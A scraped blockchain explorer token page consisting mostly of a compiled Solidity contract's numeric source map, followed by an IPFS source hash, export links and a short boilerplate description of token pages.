;;8059:33;8088:3;8059:9;:24;8077:4;8059:24;;;;;;;;;;;;;;;;:28;;:33;;;;:::i;:::-;8032:9;:24;8050:4;8032:24;;;;;;;;;;;;;;;:60;;;;8148:4;8119:40;;8128:10;8119:40;;;8155:3;8119:40;;;;;;:::i;:::-;;;;;;;;8000:179;7440:750;;7423:1002;;;8235:34;8261:7;8235:9;:21;8245:10;8235:21;;;;;;;;;;;;;;;;:25;;:34;;;;:::i;:::-;8211:9;:21;8221:10;8211:21;;;;;;;;;;;;;;;:58;;;;8311:34;8337:7;8311:9;:21;8321:10;;;;;;;;;;;8311:21;;;;;;;;;;;;;;;;:25;;:34;;;;:::i;:::-;8287:9;:21;8297:10;;;;;;;;;;;8287:21;;;;;;;;;;;;;;;:58;;;;8389:10;;;;;;;;;;;8368:41;;8377:10;8368:41;;;8401:7;8368:41;;;;;;:::i;:::-;;;;;;;;7423:1002;7278:1154:::0;;:::o;5166:223::-;2801:5;;;;;;;;;;;2787:19;;:10;:19;;;2779:47;;;;;;;;;;;;:::i;:::-;;;;;;;;;5271:1:::1;5251:22;;:8;:22;;::::0;5243:51:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;5338:8;5310:37;;5331:5;;;;;;;;;;;5310:37;;;;;;;;;;;;5370:8;5362:5;;:16;;;;;;;;;;;;;;;;;;5166:223:::0;:::o;517:224::-;575:7;604:1;599;:6;595:47;;629:1;622:8;;;;595:47;652:9;668:1;664;:5;;;;:::i;:::-;652:17;;697:1;692;688;:5;;;;:::i;:::-;:10;680:34;;;;;;;;;;;;:::i;:::-;;;;;;;;;732:1;725:8;;;517:224;;;;;:::o;751:134::-;809:7;841:1;837;:5;829:25;;;;;;;;;;;;:::i;:::-;;;;;;;;;876:1;872;:5;;;;:::i;:::-;865:12;;751:134;;;;:::o;198:140::-;256:7;289:1;284;:6;;276:31;;;;;;;;;;;;:::i;:::-;;;;;;;;;329:1;325;:5;;;;:::i;:::-;318:12;;198:140;;;;:::o;348:159::-;406:7;426:9;442:1;438;:5;;;;:::i;:::-;426:17;;467:1;462;:6;;454:26;;;;;;;;;;;;:::i;:::-;;;;;;;;;498:1;491:8;;;348:159;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:329::-;4912:6;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;4853:329;;;;:::o;5188:118::-;5275:24;5293:5;5275:24;:::i;:::-;5270:3;5263:37;5188:118;;:::o;5312:222::-;5405:4;5443:2;5432:9;5428:18;5420:26;;5456:71;5524:1;5513:9;5509:17;5500:6;5456:71;:::i;:::-;5312:222;;;;:::o;5540:474::-;5608:6;5616;5665:2;5653:9;5644:7;5640:23;5636:32;5633:119;;;5671:79;;:::i;:::-;5633:119;5791:1;5816:53;5861:7;5852:6;5841:9;5837:22;5816:53;:::i;:::-;5806:63;;5762:117;5918:2;5944:53;5989:7;5980:6;5969:9;5965:22;5944:53;:::i;:::-;5934:63;;5889:118;5540:474;;;;;:::o;6020:::-;6088:6;6096;6145:2;6133:9;6124:7;6120:23;6116:32;6113:119;;;6151:79;;:::i;:::-;6113:119;6271:1;6296:53;6341:7;6332:6;6321:9;6317:22;6296:53;:::i;:::-;6286:63;;6242:117;6398:2;6424:53;6469:7;6460:6;6449:9;6445:22;6424:53;:::i;:::-;6414:63;;6369:118;6020:474;;;;;:::o;6500:329::-;6559:6;6608:2;6596:9;6587:7;6583:23;6579:32;6576:119;;;6614:79;;:::i;:::-;6576:119;6734:1;6759:53;6804:7;6795:6;6784:9;6780:22;6759:53;:::i;:::-;6749:63;;6705:117;6500:329;;;;:::o;6835:180::-;6883:77;6880:1;6873:88;6980:4;6977:1;6970:15;7004:4;7001:1;6994:15;7021:320;7065:6;7102:1;7096:4;7092:12;7082:22;;7149:1;7143:4;7139:12;7170:18;7160:81;;7226:4;7218:6;7214:17;7204:27;;7160:81;7288:2;7280:6;7277:14;7257:18;7254:38;7251:84;;7307:18;;:::i;:::-;7251:84;7072:269;7021:320;;;:::o;7347:156::-;7487:8;7483:1;7475:6;7471:14;7464:32;7347:156;:::o;7509:365::-;7651:3;7672:66;7736:1;7731:3;7672:66;:::i;:::-;7665:73;;7747:93;7836:3;7747:93;:::i;:::-;7865:2;7860:3;7856:12;7849:19;;7509:365;;;:::o;7880:419::-;8046:4;8084:2;8073:9;8069:18;8061:26;;8133:9;8127:4;8123:20;8119:1;8108:9;8104:17;8097:47;8161:131;8287:4;8161:131;:::i;:::-;8153:139;;7880:419;;;:::o;8305:228::-;8445:34;8441:1;8433:6;8429:14;8422:58;8514:11;8509:2;8501:6;8497:15;8490:36;8305:228;:::o;8539:366::-;8681:3;8702:67;8766:2;8761:3;8702:67;:::i;:::-;8695:74;;8778:93;8867:3;8778:93;:::i;:::-;8896:2;8891:3;8887:12;8880:19;;8539:366;;;:::o;8911:419::-;9077:4;9115:2;9104:9;9100:18;9092:26;;9164:9;9158:4;9154:20;9150:1;9139:9;9135:17;9128:47;9192:131;9318:4;9192:131;:::i;:::-;9184:139;;8911:419;;;:::o;9336:157::-;9476:9;9472:1;9464:6;9460:14;9453:33;9336:157;:::o;9499:365::-;9641:3;9662:66;9726:1;9721:3;9662:66;:::i;:::-;9655:73;;9737:93;9826:3;9737:93;:::i;:::-;9855:2;9850:3;9846:12;9839:19;;9499:365;;;:::o;9870:419::-;10036:4;10074:2;10063:9;10059:18;10051:26;;10123:9;10117:4;10113:20;10109:1;10098:9;10094:17;10087:47;10151:131;10277:4;10151:131;:::i;:::-;10143:139;;9870:419;;;:::o;10295:159::-;10435:11;10431:1;10423:6;10419:14;10412:35;10295:159;:::o;10460:365::-;10602:3;10623:66;10687:1;10682:3;10623:66;:::i;:::-;10616:73;;10698:93;10787:3;10698:93;:::i;:::-;10816:2;10811:3;10807:12;10800:19;;10460:365;;;:::o;10831:419::-;10997:4;11035:2;11024:9;11020:18;11012:26;;11084:9;11078:4;11074:20;11070:1;11059:9;11055:17;11048:47;11112:131;11238:4;11112:131;:::i;:::-;11104:139;;10831:419;;;:::o;11256:165::-;11396:17;11392:1;11384:6;11380:14;11373:41;11256:165;:::o;11427:366::-;11569:3;11590:67;11654:2;11649:3;11590:67;:::i;:::-;11583:74;;11666:93;11755:3;11666:93;:::i;:::-;11784:2;11779:3;11775:12;11768:19;;11427:366;;;:::o;11799:419::-;11965:4;12003:2;11992:9;11988:18;11980:26;;12052:9;12046:4;12042:20;12038:1;12027:9;12023:17;12016:47;12080:131;12206:4;12080:131;:::i;:::-;12072:139;;11799:419;;;:::o;12224:161::-;12364:13;12360:1;12352:6;12348:14;12341:37;12224:161;:::o;12391:366::-;12533:3;12554:67;12618:2;12613:3;12554:67;:::i;:::-;12547:74;;12630:93;12719:3;12630:93;:::i;:::-;12748:2;12743:3;12739:12;12732:19;;12391:366;;;:::o;12763:419::-;12929:4;12967:2;12956:9;12952:18;12944:26;;13016:9;13010:4;13006:20;13002:1;12991:9;12987:17;12980:47;13044:131;13170:4;13044:131;:::i;:::-;13036:139;;12763:419;;;:::o;13188:162::-;13328:14;13324:1;13316:6;13312:14;13305:38;13188:162;:::o;13356:366::-;13498:3;13519:67;13583:2;13578:3;13519:67;:::i;:::-;13512:74;;13595:93;13684:3;13595:93;:::i;:::-;13713:2;13708:3;13704:12;13697:19;;13356:366;;;:::o;13728:419::-;13894:4;13932:2;13921:9;13917:18;13909:26;;13981:9;13975:4;13971:20;13967:1;13956:9;13952:17;13945:47;14009:131;14135:4;14009:131;:::i;:::-;14001:139;;13728:419;;;:::o;14153:164::-;14293:16;14289:1;14281:6;14277:14;14270:40;14153:164;:::o;14323:366::-;14465:3;14486:67;14550:2;14545:3;14486:67;:::i;:::-;14479:74;;14562:93;14651:3;14562:93;:::i;:::-;14680:2;14675:3;14671:12;14664:19;;14323:366;;;:::o;14695:419::-;14861:4;14899:2;14888:9;14884:18;14876:26;;14948:9;14942:4;14938:20;14934:1;14923:9;14919:17;14912:47;14976:131;15102:4;14976:131;:::i;:::-;14968:139;;14695:419;;;:::o;15120:159::-;15260:11;15256:1;15248:6;15244:14;15237:35;15120:159;:::o;15285:365::-;15427:3;15448:66;15512:1;15507:3;15448:66;:::i;:::-;15441:73;;15523:93;15612:3;15523:93;:::i;:::-;15641:2;15636:3;15632:12;15625:19;;15285:365;;;:::o;15656:419::-;15822:4;15860:2;15849:9;15845:18;15837:26;;15909:9;15903:4;15899:20;15895:1;15884:9;15880:17;15873:47;15937:131;16063:4;15937:131;:::i;:::-;15929:139;;15656:419;;;:::o;16081:162::-;16221:14;16217:1;16209:6;16205:14;16198:38;16081:162;:::o;16249:366::-;16391:3;16412:67;16476:2;16471:3;16412:67;:::i;:::-;16405:74;;16488:93;16577:3;16488:93;:::i;:::-;16606:2;16601:3;16597:12;16590:19;;16249:366;;;:::o;16621:419::-;16787:4;16825:2;16814:9;16810:18;16802:26;;16874:9;16868:4;16864:20;16860:1;16849:9;16845:17;16838:47;16902:131;17028:4;16902:131;:::i;:::-;16894:139;;16621:419;;;:::o;17046:156::-;17186:8;17182:1;17174:6;17170:14;17163:32;17046:156;:::o;17208:365::-;17350:3;17371:66;17435:1;17430:3;17371:66;:::i;:::-;17364:73;;17446:93;17535:3;17446:93;:::i;:::-;17564:2;17559:3;17555:12;17548:19;;17208:365;;;:::o;17579:419::-;17745:4;17783:2;17772:9;17768:18;17760:26;;17832:9;17826:4;17822:20;17818:1;17807:9;17803:17;17796:47;17860:131;17986:4;17860:131;:::i;:::-;17852:139;;17579:419;;;:::o;18004:169::-;18144:21;18140:1;18132:6;18128:14;18121:45;18004:169;:::o;18179:366::-;18321:3;18342:67;18406:2;18401:3;18342:67;:::i;:::-;18335:74;;18418:93;18507:3;18418:93;:::i;:::-;18536:2;18531:3;18527:12;18520:19;;18179:366;;;:::o;18551:419::-;18717:4;18755:2;18744:9;18740:18;18732:26;;18804:9;18798:4;18794:20;18790:1;18779:9;18775:17;18768:47;18832:131;18958:4;18832:131;:::i;:::-;18824:139;;18551:419;;;:::o;18976:163::-;19116:15;19112:1;19104:6;19100:14;19093:39;18976:163;:::o;19145:366::-;19287:3;19308:67;19372:2;19367:3;19308:67;:::i;:::-;19301:74;;19384:93;19473:3;19384:93;:::i;:::-;19502:2;19497:3;19493:12;19486:19;;19145:366;;;:::o;19517:419::-;19683:4;19721:2;19710:9;19706:18;19698:26;;19770:9;19764:4;19760:20;19756:1;19745:9;19741:17;19734:47;19798:131;19924:4;19798:131;:::i;:::-;19790:139;;19517:419;;;:::o;19942:332::-;20063:4;20101:2;20090:9;20086:18;20078:26;;20114:71;20182:1;20171:9;20167:17;20158:6;20114:71;:::i;:::-;20195:72;20263:2;20252:9;20248:18;20239:6;20195:72;:::i;:::-;19942:332;;;;;:::o;20280:166::-;20420:18;20416:1;20408:6;20404:14;20397:42;20280:166;:::o;20452:366::-;20594:3;20615:67;20679:2;20674:3;20615:67;:::i;:::-;20608:74;;20691:93;20780:3;20691:93;:::i;:::-;20809:2;20804:3;20800:12;20793:19;;20452:366;;;:::o;20824:419::-;20990:4;21028:2;21017:9;21013:18;21005:26;;21077:9;21071:4;21067:20;21063:1;21052:9;21048:17;21041:47;21105:131;21231:4;21105:131;:::i;:::-;21097:139;;20824:419;;;:::o;21249:180::-;21297:77;21294:1;21287:88;21394:4;21391:1;21384:15;21418:4;21415:1;21408:15;21435:410;21475:7;21498:20;21516:1;21498:20;:::i;:::-;21493:25;;21532:20;21550:1;21532:20;:::i;:::-;21527:25;;21587:1;21584;21580:9;21609:30;21627:11;21609:30;:::i;:::-;21598:41;;21788:1;21779:7;21775:15;21772:1;21769:22;21749:1;21742:9;21722:83;21699:139;;21818:18;;:::i;:::-;21699:139;21483:362;21435:410;;;;:::o;21851:180::-;21899:77;21896:1;21889:88;21996:4;21993:1;21986:15;22020:4;22017:1;22010:15;22037:185;22077:1;22094:20;22112:1;22094:20;:::i;:::-;22089:25;;22128:20;22146:1;22128:20;:::i;:::-;22123:25;;22167:1;22157:35;;22172:18;;:::i;:::-;22157:35;22214:1;22211;22207:9;22202:14;;22037:185;;;;:::o;22228:161::-;22368:13;22364:1;22356:6;22352:14;22345:37;22228:161;:::o;22395:366::-;22537:3;22558:67;22622:2;22617:3;22558:67;:::i;:::-;22551:74;;22634:93;22723:3;22634:93;:::i;:::-;22752:2;22747:3;22743:12;22736:19;;22395:366;;;:::o;22767:419::-;22933:4;22971:2;22960:9;22956:18;22948:26;;23020:9;23014:4;23010:20;23006:1;22995:9;22991:17;22984:47;23048:131;23174:4;23048:131;:::i;:::-;23040:139;;22767:419;;;:::o;23192:157::-;23332:9;23328:1;23320:6;23316:14;23309:33;23192:157;:::o;23355:365::-;23497:3;23518:66;23582:1;23577:3;23518:66;:::i;:::-;23511:73;;23593:93;23682:3;23593:93;:::i;:::-;23711:2;23706:3;23702:12;23695:19;;23355:365;;;:::o;23726:419::-;23892:4;23930:2;23919:9;23915:18;23907:26;;23979:9;23973:4;23969:20;23965:1;23954:9;23950:17;23943:47;24007:131;24133:4;24007:131;:::i;:::-;23999:139;;23726:419;;;:::o;24151:162::-;24291:14;24287:1;24279:6;24275:14;24268:38;24151:162;:::o;24319:366::-;24461:3;24482:67;24546:2;24541:3;24482:67;:::i;:::-;24475:74;;24558:93;24647:3;24558:93;:::i;:::-;24676:2;24671:3;24667:12;24660:19;;24319:366;;;:::o;24691:419::-;24857:4;24895:2;24884:9;24880:18;24872:26;;24944:9;24938:4;24934:20;24930:1;24919:9;24915:17;24908:47;24972:131;25098:4;24972:131;:::i;:::-;24964:139;;24691:419;;;:::o;25116:194::-;25156:4;25176:20;25194:1;25176:20;:::i;:::-;25171:25;;25210:20;25228:1;25210:20;:::i;:::-;25205:25;;25254:1;25251;25247:9;25239:17;;25278:1;25272:4;25269:11;25266:37;;;25283:18;;:::i;:::-;25266:37;25116:194;;;;:::o;25316:191::-;25356:3;25375:20;25393:1;25375:20;:::i;:::-;25370:25;;25409:20;25427:1;25409:20;:::i;:::-;25404:25;;25452:1;25449;25445:9;25438:16;;25473:3;25470:1;25467:10;25464:36;;;25480:18;;:::i;:::-;25464:36;25316:191;;;;:::o;25513:157::-;25653:9;25649:1;25641:6;25637:14;25630:33;25513:157;:::o;25676:365::-;25818:3;25839:66;25903:1;25898:3;25839:66;:::i;:::-;25832:73;;25914:93;26003:3;25914:93;:::i;:::-;26032:2;26027:3;26023:12;26016:19;;25676:365;;;:::o;26047:419::-;26213:4;26251:2;26240:9;26236:18;26228:26;;26300:9;26294:4;26290:20;26286:1;26275:9;26271:17;26264:47;26328:131;26454:4;26328:131;:::i;:::-;26320:139;;26047:419;;;:::o

Swarm Source

ipfs://e9cf6f7ba796ee20dcdbeca4afde4f3da1d8e958df576536c333f15bba9e7808
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.